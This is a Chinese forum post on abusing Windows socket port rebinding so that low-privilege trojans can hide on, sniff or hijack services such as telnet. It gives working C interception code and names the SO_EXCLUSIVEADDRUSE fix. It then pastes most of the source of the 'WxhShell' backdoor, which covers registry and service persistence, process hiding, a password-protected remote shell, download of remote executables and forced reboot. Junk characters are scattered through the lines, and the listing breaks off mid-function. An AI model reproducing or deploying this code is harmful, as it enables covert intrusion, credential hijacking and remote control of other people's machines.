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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tK)E*!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <%klrQya  
vU Bk oC2Q  
  saddr.sin_family = AF_INET; 0] e=  
3XY;g{`=q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #mY*H^jI]~  
UP=0>jjbn:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @2Xw17[f35  
Wj2]1A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z\8TpwD2  
-E~pCN(E  
  这意味着什么?意味着可以进行如下的攻击: ~6!{\un   
!` S ?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |,CWk|G  
?,e7v.b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c"R`7P  
eaP,MkK&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bv,u kQ\CH  
_ +Ww1 f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,[enGw  
[O*5\&6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \(Z'@5vC  
"o&_tB;O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xsS/)R?  
*njdqr2c~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,lSt}Lml  
4L#q?]$  
  #include "l~wzPY)  
  #include  e#0C  
  #include j>XM+>  
  #include    I$sJ8\|gw'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !7ct=L  
  int main() +r[u4?  
  { bTB/M=M  
  WORD wVersionRequested; xC;b<~zN  
  DWORD ret; HN,E+ dQ  
  WSADATA wsaData; -1t"(v  
  BOOL val; xZAc~~9tD  
  SOCKADDR_IN saddr; L?!*HS7 m  
  SOCKADDR_IN scaddr; Fy^*@&  
  int err; O o9 ePw7  
  SOCKET s; /CX_@%m}e=  
  SOCKET sc; hnha1 f  
  int caddsize; TR3_!0  
  HANDLE mt; hX4&B  
  DWORD tid;   5D0O.v  
  wVersionRequested = MAKEWORD( 2, 2 ); `Q?rQ3A}  
  err = WSAStartup( wVersionRequested, &wsaData ); S'T&`"Mr  
  if ( err != 0 ) { Cv{>|g#  
  printf("error!WSAStartup failed!\n"); 0g% `L_e_  
  return -1; tqyR~  
  } ^qXc%hjg  
  saddr.sin_family = AF_INET; '5zolp%St  
   7 J$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GkqKIs  
9:zW$Gt&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |x*~PXb  
  saddr.sin_port = htons(23); ` MIZqHM @  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SSO F\  
  { \{  
  printf("error!socket failed!\n"); ;&4}hPq  
  return -1; &~oBJar  
  } d`9% :2qE  
  val = TRUE; wi/Fx=w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ; V)pXLE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]pi"M 3f_  
  { n'a=@/  
  printf("error!setsockopt failed!\n"); JK:i-  
  return -1; Lqy]bnY  
  } ?EF[OyE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M]&F1<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Xy[O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ) jBPt&  
K?0f)@\nx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z 4,nl  
  { @q0\oG4L  
  ret=GetLastError(); M:V'vme)+  
  printf("error!bind failed!\n"); @{16j# 'R  
  return -1; 9xL8 ];-  
  } b*w izd  
  listen(s,2); ${\iHg[vZ  
  while(1) x]o~ %h$  
  { yT<6b)&*&  
  caddsize = sizeof(scaddr); TZ8:3ti  
  //接受连接请求 Y?G9d6]Lk6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _E0XUT!rA  
  if(sc!=INVALID_SOCKET) ?,8|K B  
  { BUR96YN.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?B> { rj  
  if(mt==NULL) )U0`?kD  
  { TtA6N8G  
  printf("Thread Creat Failed!\n"); \FOoIY!.x  
  break; K(P24Z\#  
  } fWo}gH~  
  } 297X).  
  CloseHandle(mt); SSH))zJ  
  } H4DM,.04  
  closesocket(s); Q?df5{6  
  WSACleanup(); E`68Z/%  
  return 0; Ce 3{KGBw  
  }   .$nQD.X  
  DWORD WINAPI ClientThread(LPVOID lpParam) zzlV((8 ~  
  { A2 'W  
  SOCKET ss = (SOCKET)lpParam; :^~I@)"ov  
  SOCKET sc; +[386  
  unsigned char buf[4096]; 7,0^|P  
  SOCKADDR_IN saddr; G&qO{" Js  
  long num; tKtKW5n~  
  DWORD val; F*" "n  
  DWORD ret; wyF' B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +u+|9@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    l* C>  
  saddr.sin_family = AF_INET; ^Pqj*k+F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XV)<Oavs  
  saddr.sin_port = htons(23); jI})\5<R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <Uj~S  
  { epw*Px  
  printf("error!socket failed!\n"); 8 nCw1   
  return -1; ^5j+O.zgN  
  } zJC!MeN  
  val = 100; CJ+/j=i;~c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iZsZSW \  
  { ^e*Tg&  
  ret = GetLastError(); L9(mY `d>"  
  return -1; cE (P^;7D  
  } 9i+OYWUO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cq mtO?vne  
  { 'T G43^  
  ret = GetLastError(); }G8gk"st  
  return -1; z4 GcS/3K  
  } )UBU|uYR\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7.V'T=@x3)  
  { o< )"\f/,  
  printf("error!socket connect failed!\n"); SrlTwcD  
  closesocket(sc); &>Zm gz  
  closesocket(ss); 1< gY  
  return -1; \<k5c-8Hb  
  } gumT"x .^  
  while(1) QH~;B[->  
  {  AT@m_d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7X+SK&PX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SZVNu*G!H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yjcZTvjJ  
  num = recv(ss,buf,4096,0); u@ MUcW  
  if(num>0) *`D}voU  
  send(sc,buf,num,0); IXjFK  
  else if(num==0) S87E$k  
  break; DxuT23. (  
  num = recv(sc,buf,4096,0); HW|5'opF  
  if(num>0) z;T_%?u  
  send(ss,buf,num,0); XPJsnu  
  else if(num==0) BQ8vg8e]B  
  break; is?#wrV=K  
  } FA5|`  
  closesocket(ss); =|}_ASbzw  
  closesocket(sc); R-2NJ0F7  
  return 0 ; <V[Qs3uo(  
  } 80(Olf@PE  
.|XG0M  
b'x26wT?  
========================================================== HL8onNq  
QMO.Bnek  
下边附上一个代码,,WXhSHELL :V,agAMn  
(!cG*FrN  
========================================================== R1sWhB99  
> nHaMj  
#include "stdafx.h" sd5%Szx  
4F[4H\>'  
#include <stdio.h> exW|c~|m{A  
#include <string.h> >:C0ZQUW  
#include <windows.h> $<NrJgQ  
#include <winsock2.h> 2Dc2uU@`r  
#include <winsvc.h> _?VMSu  
#include <urlmon.h> g:dtfa/]  
8Pb~`E/  
#pragma comment (lib, "Ws2_32.lib") -BV8,1  
#pragma comment (lib, "urlmon.lib") v 3p'*81;  
?/@ U#Qy  
#define MAX_USER   100 // 最大客户端连接数 }dv$^4 *n  
#define BUF_SOCK   200 // sock buffer 6&J7=g%G  
#define KEY_BUFF   255 // 输入 buffer t,bQ@x{zVC  
>O;V[H2[  
#define REBOOT     0   // 重启 X }V}%  
#define SHUTDOWN   1   // 关机 gWK[%.Jnw  
8]@$7hy8  
#define DEF_PORT   5000 // 监听端口 G'#f*) f  
4D'AAr57  
#define REG_LEN     16   // 注册表键长度 )6!ji]c N  
#define SVC_LEN     80   // NT服务名长度 5%r:hO @S  
7.mYzl-F(  
// 从dll定义API 9Sey&x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gZf8/Tp\z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s(.H"_ a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ID_#a9N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4UxxmREx;  
l('@~-Zy  
// wxhshell配置信息 c1Rn1M,2k  
struct WSCFG { ^-^ii 3G`  
  int ws_port;         // 监听端口 634OH*6  
  char ws_passstr[REG_LEN]; // 口令 te[#FF3{  
  int ws_autoins;       // 安装标记, 1=yes 0=no m;4qs#qCg?  
  char ws_regname[REG_LEN]; // 注册表键名 n^lr7(!6  
  char ws_svcname[REG_LEN]; // 服务名 luWr.<1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 urbSprdF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W9D~:>^YP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <5 )F9.$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $-i(xnU/nl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" drwD3jx0xv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6*&$ha}X  
F tS"vJ\  
}; 73p7]Uo  
-F$v`|(O+  
// default Wxhshell configuration M\_IQj  
struct WSCFG wscfg={DEF_PORT, ieap  
    "xuhuanlingzhe", VbI$#;:[7  
    1, |Cm6RH$(  
    "Wxhshell", Ee3 -oHa  
    "Wxhshell", ,{C hHnJ%#  
            "WxhShell Service", <B&vfKO^h  
    "Wrsky Windows CmdShell Service", Nsf>b8O  
    "Please Input Your Password: ", ~K/_51O'  
  1, agGgj>DDd  
  "http://www.wrsky.com/wxhshell.exe", 8=MNzcA }  
  "Wxhshell.exe" PjG^L FX  
    }; H~NK:qRzK  
0-Ga2Go9  
// 消息定义模块 =91wC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d-cW47  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kNd(KQ<.17  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; po!bRk[4  
char *msg_ws_ext="\n\rExit."; Zmc"  
char *msg_ws_end="\n\rQuit."; *S<d`mp[  
char *msg_ws_boot="\n\rReboot..."; ZLZh$eZZ  
char *msg_ws_poff="\n\rShutdown..."; LgxsO:mi  
char *msg_ws_down="\n\rSave to "; Ie]k/qw+Y  
207FD  
char *msg_ws_err="\n\rErr!"; fZiwuq !_  
char *msg_ws_ok="\n\rOK!"; wnU-5r&!]  
at+Nd K  
char ExeFile[MAX_PATH]; \0veld  
int nUser = 0; ]!X[[w)  
HANDLE handles[MAX_USER]; Sby(?yg  
int OsIsNt; dKQu  
AM0CIRX$  
SERVICE_STATUS       serviceStatus; 6_L<&RmLg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Sq SiuO.D  
C %i{{Y&l  
// 函数声明 g#q7~#9  
int Install(void); UOpSH{N  
int Uninstall(void); ^o87qr0g]  
int DownloadFile(char *sURL, SOCKET wsh); 8#nAs\^  
int Boot(int flag); #62*'.B4  
void HideProc(void); Cq -URih  
int GetOsVer(void); wq7h8Z}l  
int Wxhshell(SOCKET wsl); V!Pe%.>  
void TalkWithClient(void *cs); @u @,Edh  
int CmdShell(SOCKET sock); E?0Vo%Vh  
int StartFromService(void); Vq599M:)V  
int StartWxhshell(LPSTR lpCmdLine); l* z "wA-  
nR=!S5>S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); USg,=YM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &. MUSqo9  
\1O wZ@  
// 数据结构和表定义 t"Bp # U1  
SERVICE_TABLE_ENTRY DispatchTable[] = `&:>?Y/X2  
{ SyI\ulmL  
{wscfg.ws_svcname, NTServiceMain}, QM24cm T  
{NULL, NULL} q2P_37  
}; ZPG~@lU  
%O$=%"D6  
// 自我安装 ;$67GK  
int Install(void) P(UY}oU  
{ *nK4XgD  
  char svExeFile[MAX_PATH]; 29^(weT"]  
  HKEY key; H)h$@14xu  
  strcpy(svExeFile,ExeFile); ]XASim:A  
'YJ~~o  
// 如果是win9x系统,修改注册表设为自启动 CXBFR>"  
if(!OsIsNt) { h[;DRD!Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )KY4BBc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t`Rbn{   
  RegCloseKey(key); `GSl}A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qu\U^F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h$#PboLd  
  RegCloseKey(key); 1En:QQ4/  
  return 0; UIkO_/}  
    } &;bey4_J  
  } ,9M2'6=  
} :Q,~Nw>  
else { @?jbah#  
;Y,zlq2  
// 如果是NT以上系统,安装为系统服务 e8E'X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XmaRg{22  
if (schSCManager!=0) icQQLSU5  
{ 8>9MeDE  
  SC_HANDLE schService = CreateService $DaQM'-  
  ( :r2d%:h%2  
  schSCManager, }KYOde@  
  wscfg.ws_svcname, >@h#'[z,d  
  wscfg.ws_svcdisp, 9{}"tk5$h  
  SERVICE_ALL_ACCESS, k8!:`jG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,rjl|F* T  
  SERVICE_AUTO_START, 2*< PmKI  
  SERVICE_ERROR_NORMAL, dV{mmHL  
  svExeFile, l<qEX O  
  NULL, njaKU?6%d2  
  NULL, *+k yuY J  
  NULL, l_4 ^TYF  
  NULL, Cd ]g+R}j  
  NULL :*/g~y(fE  
  ); ^ p7z3ng  
  if (schService!=0) A9KPU:  
  { Kf6 D)B 26  
  CloseServiceHandle(schService); )W6l/  
  CloseServiceHandle(schSCManager); E`.:V<KW/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K"[\)&WBG  
  strcat(svExeFile,wscfg.ws_svcname); +tlBOl $  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ljiw9*ZI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >xA( *7  
  RegCloseKey(key); ArjRoXDE  
  return 0; (w#)|9Cxm  
    } 4 aE{}jp1  
  } M(yWE0 3  
  CloseServiceHandle(schSCManager); &^w "  
} m?gGFxo  
} .<E7Ey#  
1JJ1!& >  
return 1; $ce*W 9`  
} Ly/  
0176  
// 自我卸载 @FZ_[CYg  
int Uninstall(void) ~N/a\%`  
{ *&I _fAh]  
  HKEY key; >K&chg@Hv  
.'.bokl/  
if(!OsIsNt) { ?p/}eRgi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EM@EB< pRX  
  RegDeleteValue(key,wscfg.ws_regname); H!6+x*P0  
  RegCloseKey(key); ll[&O4.F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cq5^7.  
  RegDeleteValue(key,wscfg.ws_regname); yJ `{\7Uqg  
  RegCloseKey(key); ^O =G%de  
  return 0; CbXSJDs  
  } [c -|`d^  
} s(ap~UCOw  
} h6IO;:P)  
else { 2.=G  
>$yA ,N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $-|$4lrS  
if (schSCManager!=0) {2QP6XsJ  
{ [$ uKI,l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k7{|\w%  
  if (schService!=0) c<lEFk!g  
  { _mk@1ft  
  if(DeleteService(schService)!=0) { vC^{,?@  
  CloseServiceHandle(schService); a\ ~118 !  
  CloseServiceHandle(schSCManager); yye5GVY$  
  return 0; p] N/]2rR  
  } @h_ bXo  
  CloseServiceHandle(schService); ,`OQAJ)>  
  } 4;>HBCM4-  
  CloseServiceHandle(schSCManager); oX*;iS X  
} lWd@  
} ,jtaTG.>  
DF>tQ  
return 1; 9ZG:2ncdJ  
} lFduX D  
m`n~-_  
// 从指定url下载文件 r&Qa;-4Pl  
int DownloadFile(char *sURL, SOCKET wsh) X 5X D1[  
{ H:9G/Nev  
  HRESULT hr; S{v]B_N[M  
char seps[]= "/"; RnU7|p{  
char *token; FA;-D5=  
char *file; T$AVMVq  
char myURL[MAX_PATH]; eE=2~ ylU  
char myFILE[MAX_PATH]; >4-9 @i0FV  
*0eV9!y  
strcpy(myURL,sURL); Zy.ls&<:  
  token=strtok(myURL,seps); a1Q%Gn@R  
  while(token!=NULL) >qOj^WO~  
  { w(z=xO  
    file=token; (+cZP&o  
  token=strtok(NULL,seps); NZ0?0*  
  } _<DOA:'v  
6`G8UDK>F  
GetCurrentDirectory(MAX_PATH,myFILE); Qca3{|r`  
strcat(myFILE, "\\"); wf1p/bpf  
strcat(myFILE, file); >@ xe-0z  
  send(wsh,myFILE,strlen(myFILE),0); .p*?g;  
send(wsh,"...",3,0); <3/_'/C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ].5q,A]  
  if(hr==S_OK) *9w-eK1{  
return 0; r{84Y!k~*  
else _ WPt zL  
return 1; $uJc/  
$duT'G, -  
} .Pte}pM"v  
6w(r}yO]  
// 系统电源模块 En#Q p3  
int Boot(int flag) _d!o,=}  
{ $-~"G,;F  
  HANDLE hToken; ij~-  
  TOKEN_PRIVILEGES tkp; S0gxVd(  
h^qZi@L  
  if(OsIsNt) { F u^j- Io  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b62B|0i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ctn?O~u  
    tkp.PrivilegeCount = 1; /3tErc'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Iu~<Y(8^q#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5o>*a>27,A  
if(flag==REBOOT) { vF pKkS343  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7jQVm{{.  
  return 0; #qR6TM&;  
} 5XzsqeG|  
else { A+frKoi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZZHzC+O#^  
  return 0; Iz'Et'w8!  
} sKsMF:|OT  
  } @iXBy:@  
  else { a j$& 9][  
if(flag==REBOOT) { 8O(L;&h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tLN^k;w  
  return 0; 3 =c#LUA`  
} ;m>/tD%  
else { wfEL .h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~e]B[>PT  
  return 0; }&v-<qC^  
} Y*p<\{,oC  
} nCp_RJu  
afna7TlS  
return 1; k~K;r8D/  
} bu<d>XR  
%n8CK->  
// win9x进程隐藏模块 XEagN:  
void HideProc(void) x- ue1  
{ jpS$5Ct  
]];pWlo!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j}s/)}n|  
  if ( hKernel != NULL ) .taP2^2Z  
  { G!=(^G@J;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s3yGL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); njZ vi}m~  
    FreeLibrary(hKernel); TU2oQ1  
  } _KkaseR  
z07&P;W!{  
return; 9[&ByEAK  
} vM!2?8bEFd  
jF j'6LT9/  
// 获取操作系统版本 /]j{P4  
int GetOsVer(void) gPc1oc(  
{ :4Nv6X61  
  OSVERSIONINFO winfo; L(u@%.S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IGVq`Mxj  
  GetVersionEx(&winfo); o@_i&4[MW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]B3+& g  
  return 1; 2yZ~j_AF[  
  else m ie~. "  
  return 0; XTk :lzFH  
} |2n*Ds'  
im9EV|;  
// 客户端句柄模块 pU<J?cU8N  
int Wxhshell(SOCKET wsl) U<=d@knH  
{ w+)wrJTtm  
  SOCKET wsh; zTfjuI|R  
  struct sockaddr_in client; 0zT-]0  
  DWORD myID; Q&w_kz.  
&~/g[\Y  
  while(nUser<MAX_USER) 2RF3pIFrm  
{ XOQ0(e6  
  int nSize=sizeof(client); f(eXny@Y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ';8 ,RTe  
  if(wsh==INVALID_SOCKET) return 1; 5S!j$_(  
:p@jslD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #>\SK  
if(handles[nUser]==0) RU'a 8j+W  
  closesocket(wsh); S{8-XiL,  
else 9a`~ K L  
  nUser++; #W|Obc]K  
  } n 3&h1-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u9~Ncz  
=_iYT044p  
  return 0; QRKP;aYt  
} E<u(Yw6=  
}fkdv6mz  
// 关闭 socket ,N hv#U<$  
void CloseIt(SOCKET wsh) E3[9!L8gb  
{ &\~*%:C  
closesocket(wsh); Z:>3AJuS_  
nUser--; | Z2_W/  
ExitThread(0); `8O Bw  
} [A {o"zY  
Rs S:I6L  
// 客户端请求句柄 *y7 Yf7  
void TalkWithClient(void *cs) ^W%F?#ELN2  
{ fQU_:[ Uz  
y( 22m+B  
  SOCKET wsh=(SOCKET)cs; X"`[&l1  
  char pwd[SVC_LEN]; _z%~ m2SP  
  char cmd[KEY_BUFF]; bXc*d9]  
char chr[1]; lX2:8$?X  
int i,j; O43"-  
R[m{"2|,Lc  
  while (nUser < MAX_USER) { w6h83m 3  
qN' 3{jiPL  
if(wscfg.ws_passstr) { 7G;1n0m-T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u$zRm(!RB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tN4&#YK<  
  //ZeroMemory(pwd,KEY_BUFF); Sw; kUJ  
      i=0; Fq <JxamR  
  while(i<SVC_LEN) { >@cBDS<6R  
8%YyxoCH  
  // 设置超时 M=ag\1S&ZF  
  fd_set FdRead;  "$J5cco  
  struct timeval TimeOut; Yy]TU} PY  
  FD_ZERO(&FdRead); yi~]}M  
  FD_SET(wsh,&FdRead); A& B|n!;b  
  TimeOut.tv_sec=8; nsXG@CS:  
  TimeOut.tv_usec=0; -zJ V(`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {{_v.d~1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cfv: Ld m  
E $\nb]JQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %O#zE-H"  
  pwd=chr[0]; L>g6 9D !  
  if(chr[0]==0xd || chr[0]==0xa) { X )Tyxppf'  
  pwd=0; +e*C`uP!  
  break; J?dz>3Rhx9  
  } V6_":L"!  
  i++; >?ar  
    }  q"T?  
)F&.0 '  
  // 如果是非法用户,关闭 socket |@1(^GX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0g=vMLi  
} 3WwCo.q;m  
us1$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LY)Wwl*wc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S *J{  
Wtk|}>Pf  
while(1) { 5%QYe]D  
2^Im~p~ByE  
  ZeroMemory(cmd,KEY_BUFF); aZ{l6  
[PiMu,O[v  
      // 自动支持客户端 telnet标准   SEg{Gso9b  
  j=0; we!w5./Xm  
  while(j<KEY_BUFF) { T]1.":   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TNN@G~@cm  
  cmd[j]=chr[0]; AX6:*aZB  
  if(chr[0]==0xa || chr[0]==0xd) { ecH7")  
  cmd[j]=0; Kf(Px%G6K  
  break; E>*Wu<<  
  } G,P k3>I'  
  j++; #?D[WTV  
    } >d"\  
i?@7>Ca  
  // 下载文件 Evg#sPu\  
  if(strstr(cmd,"http://")) { KVEc:<|x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _99 +Vjy  
  if(DownloadFile(cmd,wsh)) h:C:opa-=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |x&4vHXR0  
  else |E$q S)y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }W!w  
  } a;U)#*(5|v  
  else { JgP%4)]LV  
A/}[Z\C  
    switch(cmd[0]) { }2*qv4},!  
  !blGc$kC  
  // 帮助 L[Y$ `e{zd  
  case '?': { dQ_'8 )  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N M),2%<  
    break; hSAI G  
  } :@E^oNKa0  
  // 安装 <?L5bhq  
  case 'i': { IN#/~[W  
    if(Install()) QqW N7y_9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U1/ww-!Z  
    else Gx4uf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B%tj-h(a  
    break; 1>OU~A"  
    } U61 LMH  
  // 卸载 Zm++5b`W/[  
  case 'r': { [h' 22 W  
    if(Uninstall()) b">"NvlB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AA ~7"2e  
    else 47*2QL^zj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E#tfCM6  
    break; l<S3<'&  
    } $I#~<bW,  
  // 显示 wxhshell 所在路径 Rc D5X{qS#  
  case 'p': { fwzyCbks  
    char svExeFile[MAX_PATH]; BonjK#  
    strcpy(svExeFile,"\n\r"); =F/R*5:T  
      strcat(svExeFile,ExeFile); \}=W*xxB  
        send(wsh,svExeFile,strlen(svExeFile),0); fMW=ss^fu-  
    break; d_Zj W  
    } }7{( o-  
  // 重启 ##F$8d)q  
  case 'b': { mAIl)mq|g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Z<S^9O9  
    if(Boot(REBOOT)) S7cD}yx*[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i88`W&tI{  
    else { (k"0/*F4_  
    closesocket(wsh); 7oUo[  
    ExitThread(0); Rw[!Jq  
    } 8(q8}s$>  
    break; 4 8 J{Y3F  
    } :U'n0\  
  // 关机 nDckT+eJ  
  case 'd': { l$l6,OzS@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g2LvojR  
    if(Boot(SHUTDOWN)) wkPomTO  
